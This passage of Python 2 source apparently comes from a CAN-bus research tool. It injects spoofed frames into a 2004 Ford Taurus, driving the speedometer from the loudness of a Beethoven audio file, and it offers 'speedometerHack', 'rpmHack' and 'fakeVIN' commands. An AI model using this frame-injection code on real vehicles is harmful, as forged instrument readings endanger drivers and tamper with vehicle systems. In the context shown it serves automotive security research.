868         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
869         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
870         
871         #clear buffers
872         self.client.rxpacket()
873         self.client.rxpacket()
874         self.client.rxpacket()
875         
876         
877         packet = None;
878         
879         #catch a packet to mutate
880         while (packet == None):
881             packet=self.client.rxpacket();
882         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
883                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
884                      # lower nibble is DLC                   
885                      ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
886         
887         
888         # NOW THE FUN STUFF!!!!!
889         
890         music = wave.open("../../contrib/ted/beethovensfifth.wav", 'r');
891         print "number of frames: %d " %music.getnframes()
892         print "number of channels: %d " %music.getnchannels()
893         print "sample width: %d " %music.getsampwidth()
894         print "framerate: %d " %music.getframerate()
895         print "compression: %s " %music.getcompname()
896         
897         
898         numFramesToRead = music.getframerate()*.05 # grab .1s of audio
899         sampNum = 0
900         avgprev = 0
901         avg = 0
902         while(1):
903             avgprev = avg
904             runningSum = 0
905             
906             sample = music.readframes(int(numFramesToRead)) # grab .1s of audio
907             
908             length = len(sample)
909             
910             for i in range(0, length,4):
911                 runningSum += ord(sample[i])    #average the dual-channel
912                 runningSum += ord(sample[i+2])
913             
914             avg = math.fabs(runningSum/(length /2) -127)       # we used 2 of every 4 frames, so divide length by 2
915             if( sampNum > 0):
916                  avg = (avg+avgprev)/2
917             sampNum = 1
918
919             val = int(avg*15 + 40)                      # normalize to speedometer range of values
920             
921             print "speedometerVal = %f " %val;
922             print "speed = %f" %(1.617*val-63.5)        # speed we're trying to display
923             
924             if (val > 255):                                             # ensure we don't run off acceptable range
925                 val = 255
926             elif (val < 0):
927                 val = 0
928             
929             newPacket[9] = int(val)                             # write it to the packet
930             
931             # load new packet into TXB0 and check time
932             self.multiPacketSpit(packet0=newPacket, packet0rts=True)
933             starttime = time.time()
934             
935             # spit new value for 1 second
936             while (time.time()-starttime < .1):
937                 self.multiPacketSpit(packet0rts=True)
938
939 # read in 26 frames
940 # average them
941 # normalize to our range of values (conversion 1.6167*x-63.5
942 # x --> 0 to 120
943
944 #sample width = 2??
945 #number of frames: 7133184 
946 #number of channels: 2 
947 #sample width: 2 --> 2 bytes per sample
948 #framerate: 44100 
949
950     def engineDiagnostic(self, data):
951         self.client.serInit()
952         self.spitSetup(500)     
953         self.addFilter([513, 513, 513,513,513,513])
954                 
955         startTime = tT.time()
956         while((tT.time() - startTime ) < 15):
957                 packet = None;
958         
959                 #catch a packet to decode
960                 while (packet == None):
961                     packet=self.client.rxpacket();
962             
963                 rpm = 64.5 * ord(packet[5]) - 61.88
964                 mph = 1.617 * ord(packet[9]) - 63.5
965                 print "putting data in"
966                 data.put("Engine RPM: %d Current Speed: %d mph\n"%(rpm, mph))
967                 time.sleep(.5)
968         
969
970
971     
972         
973 if __name__ == "__main__":
974     
975     parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,description='''\
976
977     Run Hacks on a Ford taurus 2004:
978         
979             speedometerHack
980             fakeVIN
981             rpmHack
982         ''')
983     parser.add_argument('verb', choices=['speedometerHack', 'rpmHack', 'thefifth']);
984     parser.add_argument('-v', '--variable', type=int, action='append', help='Input values to the method of choice', default=None);
985
986
987     args = parser.parse_args();
988     inputs = args.variable
989     fe = FordExperiments("../../contrib/ThayerData/");
990     
991     if( args.verb == 'speedometerHack'):
992         fe.speedometerHack(inputs=inputs)
993     if( args.verb == 'rpmHack'):
994         fe.rpmHack(inputs=inputs)
995     elif( args.verb == 'fakeVIN'):
996         fe.fakeVIN()
997     elif( args.verb == 'thefifth'):
998         fe.imbeethovenbitch()
999         
1000